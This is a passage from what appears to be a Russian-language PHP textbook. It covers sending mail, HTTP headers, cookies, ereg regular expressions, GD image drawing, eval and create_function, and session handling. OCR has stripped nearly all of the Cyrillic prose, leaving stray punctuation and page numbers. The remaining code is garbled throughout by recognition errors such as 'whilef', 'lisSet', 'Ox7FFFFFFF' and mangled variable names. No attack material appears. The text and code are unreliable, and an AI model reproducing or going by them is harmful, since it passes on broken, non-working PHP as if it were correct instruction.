tr. a -ii '" = ;' -.. ^ d k p d i z a i n . r u " ,
"the subject",
"Line IXnLine 2\nLine 3",
"From: webmaster@$SERVER NAME\n".
"Reply-To: webmaster@$SERVER_NAME\n".
"X-Mailer: PHP/" . phpversionO
);
, - . $msg ( ), (
286
IV.
HTTP). To $subject:
subject .
. , .

, ,
. , , , , ,
,
.
. , , .

: mail . ,
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$message=
"From:
:
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! .
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).
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287

90%
. "" Windows-, KOI-8R.

c o n v e r t _ c y r _ s t r i n g ( ) . , , Content-type
charset koi8-r. :
$message=
"From:
: <ivanov@ivan.ivanovich.ru>
Subject:
Content-type: text/plain; charset=koi8-r
! .
!";
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Mail("ivanovgivan.ivanovich.ru","",$message);
, ,
Subject ? , convert_cyr_string ,
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$ subject
$headers...

,
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content-type,
subject, content-type. , content-type
. ,
content-type
:
$message=
"Content-type: text/plain; charset=koi8-r
From:
To: <ivanov@ivan.ivanovich.ru>
Subject:
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! .
288
IV.
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, ,
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: ""

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( ),
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. , , :
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$Message $ToAddress, , $Encode. $Encode :
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t Translit
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, ,
.
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.
21
WWW
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echo, ,
. ,
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, , Header (,
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int Header(string Sstring)
Header .
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. ,
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, ) , , ?> . , ,
, 15 (1+2+4+8)
Header . :
//
Header("Location: http://www.php.net");
// , ,
//
exit;
290
IV.

Header --
Proxy-. , . , , . --
:
Header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
//
Header("Cache-Control: no-cache, must-revalidate");
// HTTP/1.1
Header("Pragma: no-cache");
// HTTP/1.0
Header("Last-Modified: ".omdate("D, d M Y H:i:s")."GMT");
,
4 ,
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.

( ,
) GetAllHeaders :
array GetAllHeaders()
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, .
:
$headers = GetAllHeaders();
foreach($headers as $header=>$value)
echo "$header: $value<br>\n";
GetAllHeaders () ,
Apache.
( , CGI- ). , Windows (
) GetAllHeaders () .
GetAllHeaders : (, , ) -
21. WWW
291
. ,
.
Cookies
Cookies (, , ), ,
I .
.

, Cookie ( ) ,
. , Cookies , .
(, ), , , . Cookies
, ,
.
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, . , , Cookies,

.
Cookie ,
. Cookies,
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, , , ), (. 25).
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setcookie ( ) ,
, .
, , , , "" Cookies. .
292
IV.
, ,
Cookies?
?..
Cookie
, Cookies. Cookie ,
.
int setcookie(string $name [,string $value]
[,string $path]
[,int $expire]
[,string $domain] [,book $secure])
setcookie () Cookie,
. , ,
. $name ( Cookie), Cookie
. , , "".
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0. $expire
timestamp, , ,
time raktimef). $secure , Cookie
HTTPS- ( HTTPS, ,
, , ).
Setcookie():
// Cookie , . .
SetCookie("TestCookie","Test Value");
// Cookies 1
SetCookie("TestCookie",$val,time()+3600);
SetCookie("TestCookie",$val,time()+3600,"/-rasmus/", ".utoronto.ca",1);
setcookie Cookie $name . setcookie . $value URL- , Cookie , ,

.
: . , ,
.
21. WWW
293
; 21.1.
;
if(lisSet($Counter)) $Counter=0;
$Counter++;
SetCookie("Counter",$Counter,Ox7FFFFFFF);
echo " $Counter !";
, ,
? ,
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.
(, Serialize ) Cookie.
, , , unseriaiize ( ) .
, ,
Cookie:
SetCookie("Arr[0]","") ;
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SetCookie("Arr[2][0]","ccc");
//
, Cookie A r r [ 0 ] Cookie. , Cookie , , , , ().

, ... , , Cookies: , Cookies,
, , , . , , - serialize Cookie, , .
Cookie
- Cookies. , - Cookie, , cook val.
( , , ) Cook=val ( ).
$cook
294
IV.
val. To ,
Cookie - . , , !
SSI virtualf)
, Apache
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Apache ): , SSI (Server-Side Includes ).
"" SSI- include v i r t u a l .
include virtual , URL

, .
, URL
. SSI-
.
int virtual (string $url)
virtual , , Apache. , SSI- <! tinciude virtual. ..-->.

, ,
, .
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, HTTP-, . ,
PHP- virtual include.
virtualf)
virtual ,
Apache. , , - virtual . ,
virtual ( "" ,

virtual ( ) ). :
21.
WWW
295
if ( ! function_exists ( "virtual" ) ) {
//
function Virtual ( $url )
{ //*
//* URL ( ) .
//*
//* 5- .
global $HTTP_HOST,$SERVER_PORT;
$f=@fopen("http://$HTTP_HOST:$SERVER_PORT$url" , "") ;
if(!$f) {
echo "[an error ocurred while processing this directive: $url]";
return false;
}
// echo
whilef ($s=fread($f , 10.000) )!="") echo $s;
fclose($f) return true;
, f open ( ) ,
, http: / / .
URL . , , , .
22

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, .
, .
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.

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. , . ?..

-
( , ): - , , , .
, f i l e . i n f i l e . o u t . ,
"" out.
, . , :
$p=strrpos($inFile, ' . ') ;
if($p) $outFile=substr($inFile, 0,$p) ; else $outFile=$inFile;
$outFile.=".out";
, ( - , , ,
, ). "" ,
22. RegEx
297
,
. : " $inFiie , ( ), , , " " .out,
$outFiie".

.
: , ,
. , b a s e n a m e o
d i m a m e o , . ,
. :
$slashl=strrpos($fullPath, ' / ' ) ;
$slash2=strrpos($fullPath, ' \ \ ' ) ;
$slash=max($slashl,$slash2);
$dirName=substr($fullPath,0, $slash) ;
$fileName=substr($fullPath,$slash+l, 10000) ;
, strrposo false,
0, .
, strrpos ,
, . . .
, . ,
,
, . , .
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, , , SfileName, " " - $dirName". " "
: " , ,
".
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298
IV.
( , ), ""...
. ! , ( ,
), , .
, ,
. , , .
. , , " ", , . "",
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, . , " ,
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). , - , -
, , . . , .

. , , , , .
bool ereg(string $expr, string $str [,list &$Matches])
$ $str
true, false. ,
22. RegEx
299
$Matches (, )
( RegEx, ). , $Matches[0] .

, , , , - ,
:
string ereg_replace(string $expr, strint $str, string $strToChange)
, $str , $, $strToChange.
$strToChange , . , , \ (
"\\0") .
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,
. ,
. 3
RegEx.
^
PCRE
(Perl-Compatible Regular Expression Perl).
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, ,
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300
IV.
( , , . .);
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$="\\*"
$ \*. , .
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,
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, . , . , .
"." .
22. RegEx
301
, . azb aqb,
"" , , aqwb . ,
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.
. , ,
.
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, ,
, , , Y , , . [ ], (, ),
.
- , ,
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, [a-zA-zo-9_j .
,
. RegEx [ ] , .
. , [:ainum: ] , [ : d i g i t : ] . :
[ : a l p h a : ] ;
[: d i g i t : ] -- ;
[ -. ainum: ] ;
[: space: ] ;
[:blank: ] 0 255;
[: cnrti: ] ;
[:graph: ] ;
[: lower: ] ;
[:upper: ] ;
[:print: ] -- ;
[ :punct: ] ;
[ : x d i g i t : ] F.
, [ : _ : ] . ,
IV.
302
. ,
:
abc[[:alnum:]]+
abc[[:alpha:I[:punct]0]
// abc,
// abc, ,
:
abc[:alnum:]+
// !
[ : _ : ]
, , , "" (, setiocaieO ). , [ [ : a l p h a : ] ]+ ,
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[ . . . ] .

( ) . , , (,
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.

, .

*. ,
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22. RegEx
303
. , (
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. : *,
,
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304
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, abc, abc$,
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abc, .
, .
[ [ : < : ] ]
. [ [ : > : ] ]
.
, [ [ :ainum: ] ]+,
. ., .
RegEx
. PCRE, , , .
:
$st="
string
";
if(ereg("[[:<:]] ([[ralnum:]]+) [ [:>:]]",$st,$Pock))

echo " : $Pock[l]";

[ . . . ] ,
,
. , ,
, ( ).
RegEx
, . |.
22.
305
.
1 | 2 | 3 [123], .
| | z$ i z z z , , , z, , , z z z .
abci i a b c 2 2 |abc333 , abcl, abc22 ( , -
).

, -
,
. abc 3 .
: a b c i | 2 2 | 3 3 3 , |, ,
.
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, .
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, , , -
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, .
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. , - .
, , , ,
?
IV.
306
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4
* ( ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) ) *$
, 2 ( 4) . , , .
,
, , . :
, ,
"" ( ).
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), , , , .
,
. .
? : , ,
. , , :
$str=" 15-16-2000 "; //
//
4
" * ( ( [0-9]+ ) - ( [0-9]+) - ( [0-9]+) ) *$", $str, SPockets) ;
//
echo " : $Pockets[l] <br>"
echo ": $Pockets[2] <br>";
echo ": $Pockets[3] <br>";
echo ": $ P o c k e t s [ 4 ] <br>";
, ,
, , ,
, , ,
. ,
:
4
* ( [ 0 - 9 ] + ) * [ - . / ] * ( [ 0 - 9 ] + ) *[-./] * ( [ 0 - 9 ] + ) *$
22. RegEx
307

. , RegEx, .
.
, , "" $,
"", <> </>,
. ,
, . ,
: \$ [a-zA-Z_] [ [ : a l n u m : ] ] * .
ereg_Replace()?
, :
$str='<? $a=10; for($i=0; $i<10; $i++) echo $i; ?>'; //
$str=ereg_Replace("(\\$[a-zA-Z_][[:alnum:]]*)","<b>\\K/b>",$str);
, , .
, "" : \1 1.

, , .
erego -- , . , .
. ,
, - HTML- (, <> <>), , . , . , , <>
</>, <> </>.
:
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, .
: , , , ( ). , 11 . 699
308
IV.
</, , ,
. \1, ,
. ,
"" , .
, :
$str = "Hello, this <kword</k is bold!";
i f ( e r e g ( " < ( [ [ : a l n u m : ] ] + ) > { [ <]*)</\\l>",$str,$Pockets)}

echo " '$Pockets[2]' '<$Pockets[1]>'";

bool eregi(string $expr, string $str [,list &$Matches])
To , ereg ( } , .
, $Matches .
string eregi_replace (string $expr, strint $str, string $strToChange)

To , ereg_repiace ( ) , .
int quotemeta (string $str)
, - -
. ,
,
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I - . !
list split(string $pattern, string $string [,int $limit])
explode ( ) .
$string , ,
$pattern. , , , . $iimit, , , explode () , $iimit ,
($iimit-i)-ro .
22. RegEx
309
, , split , explode . , , , . , split , explode .

, Perl,
Perl split ( ) .
list spliti(string $pattern, string $string [,int $limit])
split , , .

, ( ) , . , ,
, , . , , , .

: $fname out
.
:
$fname=ereg_Replace(
1
([[:alnum:]]) (\\.[[:alnum:].]*)?$',
1
'\\l-out ,
$fname
:
"" $, RegEx. , .

: $path $dir
$fname.
310
IV.
:
$fname = e r e g _ R e p l a c e ( " . * [ \ \ " / " " / $ p a t h ) ;
$dir
= ereg_Replace("[\\/]?[ \\/]*$","",$path);

: , $id , . .
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, ,
).
:
i f ( e r e g i ( " [ a - z ] [ [ : a l n u m : ] ] * " , $ i d ) ) echo " !";

: , $text, <img> src gif, ,
.
:
$text=eregi_Replace(
'(<img[A>]*src="?[[:alnum:]/\\]*) ( \ \ . [ [ralnum:]]*)?',
-\\l.jpg',
$text

: ,
: / / U R L , http, ftp gopher,
URL - . HTML- < href=...>...</a>.
:
$w="[:alnum:]";
$="[:punct:]";
$text=eregi Replace(
"((https?I ftp|gopher) ://".
"i$w-]+(\\.[$w-]+)*".
//
//
"(/[$w+&.%]*(\\?[$w?+&%]*)?)?". //
22.
311
E-mail
: ,
@, . . E-mail- (
E-mail). HTML-.
:
$text=eregi__Replace (
1
( [ [ :alnum: ] -. ] +@ ' .
1
[[ :alnum: ]-]+ (\\ .[[: alnum: ]-]+)*'.

' (\\? {[[: alnum: ]?+&%]*)?)?'.
//
//
//
, , .

:
$text.
. , . ,
, .
: split () .
i 22.1.
// $text
// , .
function GetUniques ($text)
{ //
$Words=split (" ( [ :punct: ] [ : blank: ] ]+",$text) ;
$Uniq=array ( ) ; //
$Test=array () ; //
312
IV.
// $Words $Uniq
foreach($Words as $v) {
$v=strtolower($v); //
// ? , $Uniq
i f ( ! @ $ T e s t [ $ v ] ) $Uniq[]=$v;
// ,
$Test[$v]=l;
}
// ,
sort($Uniq);
return $Uniq;
, . .
. "" -- split
. ,
. , .
22.1, ,
:
$fname="sometext.txt";
$f=fopen($fname,"r");
$text=fread($f,filesize($fname));
fclose($f);
$Uniq=GetUniques($text) ;
foreach($Uniq as $v)
echo "$v ";
, preg_split ( ) , PCRE,
, ,
split () 3 !
, , ,
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Perl Cookbook
( : " . Perl", , 2000).
, .
22. RegEx
373
,
.
,
. , ,
" " "
s q u o t ; " str_replace () ,
ereg_Repiace ( 20 ). , ""
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.
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.
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JPEG. ,
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PNG. JPEG, GIF, - ,
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23.
315
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GetlmageSizeO
, ,
.
.
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, GIF, JPEG PNG.
list GetlimageSize(string $fiiename [,arrays $imageinfo])

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316
IV.

GD
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GD.
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:
<img src=button.php?Hello+world!>
, ,
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images/button.png.
" ".
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317
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<?
// ,
$string=$QUERY_STRING;
//
$im = imageCreateFromPng ("images/button. png") ;
//
$orange = imageColorAllocate ($im, 220, 210, 60);
// ,
$ = (imageSx($im)-7.5*strlen($string) ) /2;
// ,
imageString ($im, 3, $, 9, $string, $orange) ;
// , PNG
Header ( "Content-type : image/png" ) ;
// :
// , . .
imagePng ($im) ;
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imageDestroy ($im) ;
, " "
, "" .

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( imagecreate ( ) ) (imageCreateFromPng(), imageCreateFromJpeg()
imageCreateFromGif , , GD).
int imageCreate(int $x, int $y)
$ $ . , ,
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.
int imageCreateFromPng(string $filename)
int imageCreateFromJpeg(string $filename)
int imageCreateFromGif(string $filename)
318
IV.

. imageCreate ( ) ,
.
,
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(, , imageJpegO i m a g e G i f o )
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, .
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int imageSX(int $im)
,
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.
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,
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23.
319
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( GIF).
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.

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int imagePng(int $im [,string $filename])
int imageJpeg(int $im [,string $filename])
int imageGif(int $im [,string $filename])
,
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, ,
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320
IV.
,
imageCreateFromXXX ( } , . ., , . . , ,
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( red-green-blue) 0 255,
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.
. , .

int imageColorAl locate (int $im, int $red, int $green, int $blue)
,
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23.
321
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256, ,
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, , imageColorClosest .
,
,
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imageColorClosest () , 6
,
. , , . "" , . , "" .
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int imageColorTransparent(int $im [,$int c o l ] )
imageColorTransparent GD,
$coi ( ) $im .
, false, .
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.
322
IV.
, GD -
, "" ( , ...).
:
$tc=imageColorClosest($im,0,255,0);
imageColorTransparent($im,$tc);
, i m a g e C o i o r A i i o c a t e o
, , , , .
RGB-
array imageColorsForlndex(int $im, int $index)
red, green blue

( ), , RGB $index. ,

:
$c=imageColorAt($1,0, 0) ;
list($r,$g,$b)=array_values(imageColorsForlndex($i,$c));
echo "R=$r, g=$g, b=$b";
imageCollorAllocate () imageColorClosest ().

. GD. ,
99% . http://ru.php.net.

int imageCopyResized(int $dst_im, int $src_im, int $dstX, int $dstY,
int $srcX, int $srcY, int $dstw, int $dstH,
int $srcW, int SsrcH)
,
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23.
323
), . , 10
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, $dst_im , .
. , $src_im , . ,
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;
;
;

.
, ,
, , ,
. . GD ,
, .
int imageFilledRectangle(int $im,int $xl,int $yl,int $x2,int $y2,int $c)

: , Sim, $coi
(, , imageColorAllocate ). ($xi,$yi) ($2,$2) , (, , ).
,
, , :
'
Si=imageCreate(100, 100) ;
324
IV.
$c=imageColorAllocate($i, , , 0) ;
imageColorTransparent($i,$c);
imageFilledRectangle($i,,,imageSX($i)-1,imageSY($i)-1,$);
//
int imageRectangle(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
imageRectangle 1 $coi. ,
imageFilledRectangle ( ) .
int imageLine(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
$im, ($xl,$yl) ($2,$2), $coi.
( . ).
int imageDashedLline(int $im,int $xl,int $yl,int $x2,int $y2,int $col)
imageDashedLine () , imageLine (} ,
, . , , , ,
, imageLine ( ) .

int imageArcfint $im,int $cx,int $cy,int $w,int $h,int $s,int $e,int $c)
imageArc ( ) $im
$s $ ( , ). ,
($x,$y,$w,$h), $w $ , $
$ . ,
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int imageFill(int $im, int $x, int $y, int $col)
imageFill ,
($,$) $coi. ,
,
. ,
, " " ($,$).
23.
325
,
, ,
1 .
int imageFillToBorder(int $ira,
int $x, int $y, int $border, int $col)
imageFiii ,
, , ,
$border.
.
[^
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.
int imagePolygon(int $im, list $points, int $num_points, int $col)
$im ,
. - $points, $points[0]=xO, $points[1]=, $points[2]=xl, $points[3]=yl, ..
$num_points , , . Scoi.
int imageFilledPolygonfint $im, list $points, int $num_points, int $col)
imageFiiiedPoiygonO ,
imagePolygon ( ) , : $coi.
, .

int imageSetPixel(int $im, int $x, int $y, int $col)
, . .
$coi $im, ($,$). ,
-
, , ,
, , .
326
IV.
int imageColorAt(int $im,
int $x,
int $y)
ImageSetPixel () -
imageColorAt , , ($,$). ,
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GD . , ,
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int imageLoadFont(string $file)
, 5, . , . , ,
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327
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width*height*nchars .
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int imageFontHeight(int $font)
.
int imageFontWidth(int $font)

int imageString(int $im, int $font, int $x, int $y, string $s, int $col)
$s $im, S f o n t $coi.
($,$) , .
int imageStringUptint $im, int $font, int $x, int $y, string $s, int $c)
, , . , -, ($,$).
TrueType
GD PostScript TrueType. , . ., -, ( Windows), -, .
,
FreeType,
328
IV.
http://www.freetype.org. Windows-
.
TrueType.
, , .

list imageTTFText(int $im, int $size, int $angle, int $x, int $y,
int $col, string $fontfile, string $text)
$text $im $col.
, $coi .
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//
$string="Hello world!";
//
$im = imageCreate<300,40) ;
//
23.
329
$black = imageColorAllocate($im, , , 0) ;
$orange = imageColorAllocate ($im, 220, 210, 6 0 ) ;
//
imageFill ($im, 0, 0, $black) ;
// ( times. ttf )
imagettftext ($im, 50, 0,20, 35, $orange, getcwdO . "/times . ttf ", $string) ;
// , PNG
Header ( "Content-type : image/png" ) ;
//
imagePng ($im) ;

list imageTTFBBox ( int $size, int $angle, string $fontfile, string $text)
, ,
$text $size, $angie - . S f o n t f i i e ,
imageTTFText ( ) , , .

, , imageTTFText ( ) . (. 23.2).
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(,)
23
(,)
45
(,)
45
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23.3 , TrueType-,
RGB. , , , (. . 23.1).
330
IV.
\ 23.3.
// imageColorAllocate() ( ),
// RGB-, XXYYZZ, :
// * XX red- ;
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// * .ZZ blue- .
// . ,
// $func (, imageColorClosest).
function imageColorHex($im, $c, $func="imageColorAllocate")
{ // ,
for/$i=strlen ($cl; $i<6; $i++) $c='0'.$c;
$r=hexdec(substr($c,0,2));
$g=hexdec(substr($c,2,2));
$b=hexdec(substr($c,4,2));
return $func($im,$r,$g,$b);
// .
//
// (, ttf.php?a=20&f=arial&text=Hi+there)
11 ' 30)
// (80)
if(!@$b) $b="OOAAAA"; // (-)
if(!@$c) $c="FFFFOO"; // (-)
if(!@$d) $d=10;
//
if(!@$f) $f="times";
//
if(!@$text) $text="Hello world!"; //

//
$Bnd=imageTTFBBox($s,$a,getcwd()."/$f.ttf",$text);
// - -
$X=$Y=array();
// SBnd
for($i=0; $i<4; $i++) {
$X[]=$Bnd[$i*2];
$Y[]=$Bnd[$i*2+l];
23.
33
II $d
$MX=max($X) -min($X) +$d*2; //
$MY=max($Y)-min($Y)+$d*2; //
// ,
//
$x=$d+$Bnd[Oi -miri ($X )i-2,
$y=$d+$Bnd[l] -min !SY) +2;
//
$im = imageCreate ($MX, $MY) ;
//
$black = imageColorHex ($im, 0);
// ()
$back = imageColorHex ($im, $b) ; //

$front = imageColorHex ($im, $c) ; //
//
imageFill (Sim, 0, 0, Sback) ;
imageRectangle ($im, 0, , $-1, $MY-1, $black) ;
//
imagettftext ($im,$s,$a, $x+2, $y+2, $black, getcwdO . "/$f . ttf", $text) ;
//
imagettftext ($im, $s,$a, $x, $y, $f ront, getcwd() . "/$f . ttf ", $text) ;
//
Header ("Content-type: image/png") ;
imagePng ($im) ;
23.3 ( ttf . php) , . TrueType-,

, , . .
:
ttf
.php?a=Fpaflycbi&s=Pa3Mep&b=3aflHnftU r BeT&c=U,BeT&d=3a30p&f=<I>oHT&text=TeKCT

(. 23.3).
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(, : /WINDOWS/FONTS Windows). f , . Times.
24
, ,
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,
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, -
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;
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;
, ;
;
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24.
333
, . , :
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phpinf();
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phpversionO, ,
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-- getlastmodO - -
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timestamp ( , , 1 1970 ),
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echo " : " . d a t e ( " d . m . Y H : i . s . " , g e t l a s t m o d O ) ;
// - ' : 13.11.2000 11:23.12'

php.ini.
=, . , ; , ( , ).
Apache,
. httpd.conf .htaccess.

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, .

(, , Error_Reporting()),
IV.
334
. 2.
error_reporting
. ,
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1 , . , .
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ERROR
WARNING
PARSE
NOTICE
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CORE ERROR
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32
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// -, Go!
24.
335
?>
<form action=<?echo $SCRIPT_NAME?> method=post>
<input type=text name=name value="<?=@HtmlSpecialChars(Sname)?>">
<input type=text name=email value="<?=@HtmlSpecialChars($email)?>">
<input type=submit name=submit value="Go!">
</form>
, : , text . @ ,
( , $name Semaii ).
max_execution_time
( ),
. , "" .
track_vars on/off
.
On, , GET POST, Cookies,
$HTTP_GET_VARS,
$HTTP_POST_VARS $HTTP__COOKIE_VARS .
, , ,
, .
.
2 http://www.php.net.

.
, 500- (Internal
Server Error), . , .
E r r o r _ R e p o r t i n g ( ) .
int E r r o r _ R e p o r t i n g ( [ i n t $level])
IV.
336
, . .
error_reporting , . :
Error^Reporting(1+2+4+8);
, "" " ". ,

( )
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if(!Sfilemtime("notextst.txt"))
echo " ! " ;
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f i i e _ e x i s t s ,
,
. :
// ,
if(!file_exists($fname) I t filemtime($fname)<time()-60*60)
MyFunctionForUpdateFile($fname);
:
// ,
if(Sfilemtime($fname)<time{)-60*60)
MyFunctionForUpdateFile($fname);
@. . , , Error_reporting < ) ,
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24.
337
@
@.
submit-, , . :
if ( ' empty (Ssubir.it 1 ' echo " ! " ;
?>
, , :
<?
if (@$submit) echo " !"
?>
<form action=<?=$SCRIPT_NAME?> method=post>
<input type=submit name=submit value="Go!">
</form>
@
.
void exit ( )
.
. , .
void die (string $message)
, exit ( ) ,
, $message. , .
die :
$f ilename= ' /path/to/data-file ' ;
$file=fopen ($filename, 'r') or die (" $filename ! ") ;
or - ""
, "".
, . , | \
, =. -
535
IV.
| |
:
$filename='/path/to/data-file' ;
($file=fopen($filename, 'r')) ! I die("He $filename!");
,
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int Register_shutdown_function(string $func)
, .
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24.
339
(
).

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, , ! , . V
.

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: Sst ,
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PHP-. , :
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eval ( ) .
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$st ,
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123. 699
340
IV.
false,
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eval ( ) . , -.
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eval("$a=$b;"); //!
// , , :
eval("\$a=\$b");
/ / :
eval('$a=$b');
, : eval ( ) , ,
? ,
e v a l ( ' f o r ( $ i = 0 ; $i<10; $i++) echo $i; ' ) ;
:
for($i=0; $i<10; $i++) echo $i;
? , ,
. eval ( ) , $st (
) , . , , 100
Fund () . . . Funcioo ( ) , 100 :
i 24.1.
for($i=l; $i<=100; $1++)
eval("function Func$i() { return $i*$i; } " ) ;
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eval ( ) , . , , , -
24.
341
, eval .
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: e v a l O ' d code-on line 1
,
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eval $st. , , - .
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include. , $fname. :
$code=join("",File($fname));
eval("?>$code<?");
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:
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: ,
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? , : ,
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, eval - - . -
?>
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! 24.2. ""
$Funcs=array();
for(Si=0; $i<=100;
342
IV.
$id=uniqid("F") ;
eval ("function $ i d ( ) { return $i*$i; } " ) ;
$Funcs [ ] =$id;
$Funcs, . - ? :
echo $Funcs[12] ();
// 144

echo Funcl2 ( ) ;
,
24.1. , ? . ,
, 12- , ,
, $? :
echo $Funcs[$n] ( ) ;
// Sn-
, ? , :
$F="Func$n";
$F() ;
$F ( eval () , . . , ,
eval ( ) .
, 4 ,
"" , 24.2. create_function ( ) .
string create__function (string $args, string $code)
, ,
$code ( , ). , Sargs.
.
, . :
$Mul=create_function('$,$b', 'return $a*$b;');
$Neg=create__function('$a', 'return ~$a;');
echo $Mul(10,20);
// 200
echo $Neg(2);
// -2
24.
343
,
create^function() !
24.2
c r e a t e _ f u n c t i o n { ) . . ,
.
$Funcs=array() ;
for($i=0; $i<=100; $i++)
$Funcs[]=create_function("","return $i*$i;");
echo $Funcs[12]();
// 144
--
:
$a=array("orange", "apple", "apricot", "lemon");
usort($a,create_function('$a,$b', 'return strcrap($a,$b);'));
foreach($a as $key=>$value) echo "$key: $value<br>\n";

create_function ,
PHP-, . ,
,
, . :
$fname="file.php";
$code=join("",File($fname));
if(create^function("","?>$code<?"))
echo " $fname PHP";
else
echo " $fname - -";
@, ,
, PHP-. , , ,
, , ?> <?.
, ,
HTML- " ". , . ., , , PHP-, .
IV.
344

void usleepfint $micro_seconds)
""
( ). , ,
- , .
sleep ( ) , , , .
int uniqid(string $prefix)
uniqid ,
. $prefix ( 114
) .
0 , uniqic ( ) .
, ,
.
.
, uniqid
" " mt_rand ( ) mds ( ) , .
25

, - 4, , ( ) , (, ),
.
""

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"".
.
session,
"".
( ), ,
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Cookies ),
.
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, " ".
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.
, ,
. , , ,
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,
.
IV.
346
, , ( ) , .
,
. , , , .
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- , , "" . ,
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: -
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, .
,
.

? , , . , : , .
.
,
Cookies .
Cookies , . .
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SID), ,
.
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. ,
25.
347
, , . , ""
, .
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, , . ,
: ,
( Unix
/tmp). - ,
.

, , . s e s s i o n _ s t a r t .
(
session.auto_start=l,
. , ,
(, , , ).
session__start () . ,
SID !
void session_start()
,
. .
,
Cookies , , .
,
.
- , . , ,
.
, , , . , ,
register_globals.
register_globals=o, ( -
348
IV.
) , $HTTP_SESSION_VARS.
"" ( ), .

bool session_register(mixed $name [, mixed $namel,
PHP , ,
. session_register.
( , $ ), "",
.
mixed, string? ,
, .
.
, . .
, . , . :
! 25.1.
session_start ( ) ;
session_register ("count") ;
$count=@$count+l ;
?>
<body>
<2></2>

<?=$count?> () . , .
</body>
, .
25.
349

, - .
. ,
, . " " ,

, , .

, ? , . , 25.1. $ count, . ,
, , , . , $count, , "". , , : , , , .
!
- , ,
, . , . , , ,
. -
.
, , , sesA, .
string session_narae([string $newname])
, . $newname , .
, $newname, .
Session_name () ,
! , session_name (_) -
IV.
350
session_start ( ) ,
, .
session_name() ,
PHPSESID.
, , , Cookie, . ,

. , ,
Cookie,
, "" Cookie.
.
<?
session_name("CounterScript"
session_start();
session_register("count");
$count=@$count+l;
?>
<?=$count?> ().
,
. , .

, (siD). , , . ,
SID . SID, , .
. ,
? : ( , SID), .
SID .
( ) SID, " ".
, SID ,
-- .
25.
351
" ", ,
. ( ).
string session id([string Ssid])
SID. $sid, $sid.

, , .
, s e s s i o n _ i d ( ) session^start ( ) , ( "") ,
. , Cookies .
, -- "
" .

, , , .
bool session_is_registered(string $name)
session_is__registered() true, $name , f a l s e .

bool session_unregister(struing $name)
$name
. , , $name . true, , f a l s e .
session unregister() , "", , .

void session_unset ( )
session_unset , session_unregister ( ) ,
( , ,
- ), ,
.
352
IV.
string session_save_path([string $ p a t h ] )
, . , ,
, $path.
.
, , , - . , 4.0.3.

,
,
. , ,
-.
, .

6 , ,
.
, .
.
bool handler_open(string $save_path, string $session_name)
, s e s s i o n _ s t a r t 0 . ,
$session_name. $save__path
, s e s s i o n _ s a v e _ p a t h ( j - . , , .
booi handier_ciose()
, .
string handler^read(string $sid)
,
$sid . , :
1=!;2=2;=;...;
25.
353
, ,
serialize
. , :
fooIi:1;count 1 i: 10;
, , 1, 10.
string handler_write(string $sid, string Sdata)
$sid , handier_open(). $data ,

. ,
Sdata - .
bool handler_destroy(string $sid)
, $sid
.
bool handler_gc(int $maxlifetime)
. . "" ,
, .
handier_gc().
( ), " ", " " (garbage collection) . ., .
? . , , , ,
$ m a x i i f e t i m e . , ""
.
(~
handle_ ( )
, .
session.gc_probability. , ( ),
,
" ".
, ,
.
354
IV.

, , , h a n d l e r . ,
. , .
: ? , , .
void session^ set _save_handler($open,$close,$read,$write,$destroy,$gc)
,
, . $
, , $ close , . $read $write
, ,
. , $destroy,
. , , $,
.
, .
:
, .
sessiondata ,
.
25.2 , . 6 ,
"" .
: 25.2.
// .
/ / , ,
// ,
function ses_fname($key)
{ '
return "sessiondata/".session_name()."/$key";
25.
355
//
function ses_open($save_path, $ses_name) ( return true; }
function ses_close() { return true; }
//
function ses^read($key)
{
// .
$fname=ses_fname($key);
$f=@fopen($fname,"rb"); if(!$f) return "";
//
$st=fread($f,filesize($fname));
fclose($f);
return $st;
//
function ses_write ($key, $val)
(
$fname=ses fname($key);
// ( , ,
// )
@mkdir ($d=dirname (dirname ($f name) ) ,0777) ;
@mkdir (dirname ($f name) , 0777) ;
//
$f =@ f open ($f name, "wb") ;
if(!$f) return "";
fwrite !$f,$val) ;
fclose ($f) ;
return true;
//
function ses_destroy ($key)
{
return @unlink (ses_fname ($key) ) ;
//
function ses_gc ($maxlifetime)
356
IV.
$dir=ses_fname (". ");

//
$d=@opendir($dir); if(!$d) return false;
$DelDir=l; // , ,
//
while(($e=readdir($d))!==false) {
// "",
if($e=="."||$e=="..") continue;
// ?
if(time()-filemtime($fname="$dir/$e")>=$maxlifetime) {
@unlink($fname);
continue;
)
// ,
// .
$DelDir=0;
}
closedir($d);
// ,
//
if($DelDir) @rmdir($dir);
return true;
//
session_set_save_handler(
"ses_open", "ses_close",
"aes_iead", "oes_wiiLe",
"ses_destroy", "ses_gc"
// test
session_name("test");
session_start();
session__register ("count") ;
// ...
$count=@$count+l;
25.
357
<body>
<2></2>

<?=$count?> (). , .
</body>
Cookies
,
Cookies. , Cookies
, .
, Cookies ?
, Cookies ,
. ,
, , , -
Cookies, 20 30%. ? , Cookies "" . , Cookies,
. , . ,
"" , "Love letter"...
, ,
, Cookies .
, ,
Cookies, - , GET. .

SID
si D.

=. : , Cookies . , -
358
IV.
- siD ,
"", Cookies. :
! 25.3. Sesget.php: Cookies |
session_name ( "test" ) ;
session start!);
session_register ( "count" ) ;
$count=Ca$count + l;
<2></2>

<?=$count?> (; . , . <hr>
< href=sesget.php?<?=SID?Click here!</a>
</body>
:
http: //www. somehost . ru/sesget .php
. ,
, ,
--
.
25.3. ,
, , ?
Cookies
, , , Cookies ,
SID ( ) Cookies.
.

, , - <?=SID?>, , ,
? , ,
, , .
25.
359
, , - <?=SID?>, PHP . ,
, , URL. , ,
,
:
<?session_start() ?>
<body>
< href=/path/to/something.php>Click here!</axbr>
<a href=/path/to/something.html?a=aaa&b=bbb>Click here!</axbr>
<a href=/>Click here!</a><br>
</body>
:
http://www.somehost.ru/path/to/something.php?PHPSESSID=8114S36a920bfb01f
http://www.somehost.ru/path/to/something.html?a=aaa&b=bbb&PHPSESSID=86a20
http://www.somehost.ru/?PHPSESSID=8114536a920bfb2a
( , .) : , .
,
URL , .
, session.use_trans_sid.
.
SID? .
, , , ,
, .

, , . ,
,
, , ! i
, Cookies.
360
IV.
,
, , ,
.
<?session_start()?>
<form action=aaa method=post>
</form>
, (Internet Explorer)
HTML:
<form action="aaa" method="post">
<INPUT TYPE=HIDDEN NAME="PHPSESSID" VALUE="Oa717e848e91dbllb524a">
</form>
, . <form> (, , ).
, , .
Cookies
?
, . , s e s s i o n . u s e _ c o o k i e s true
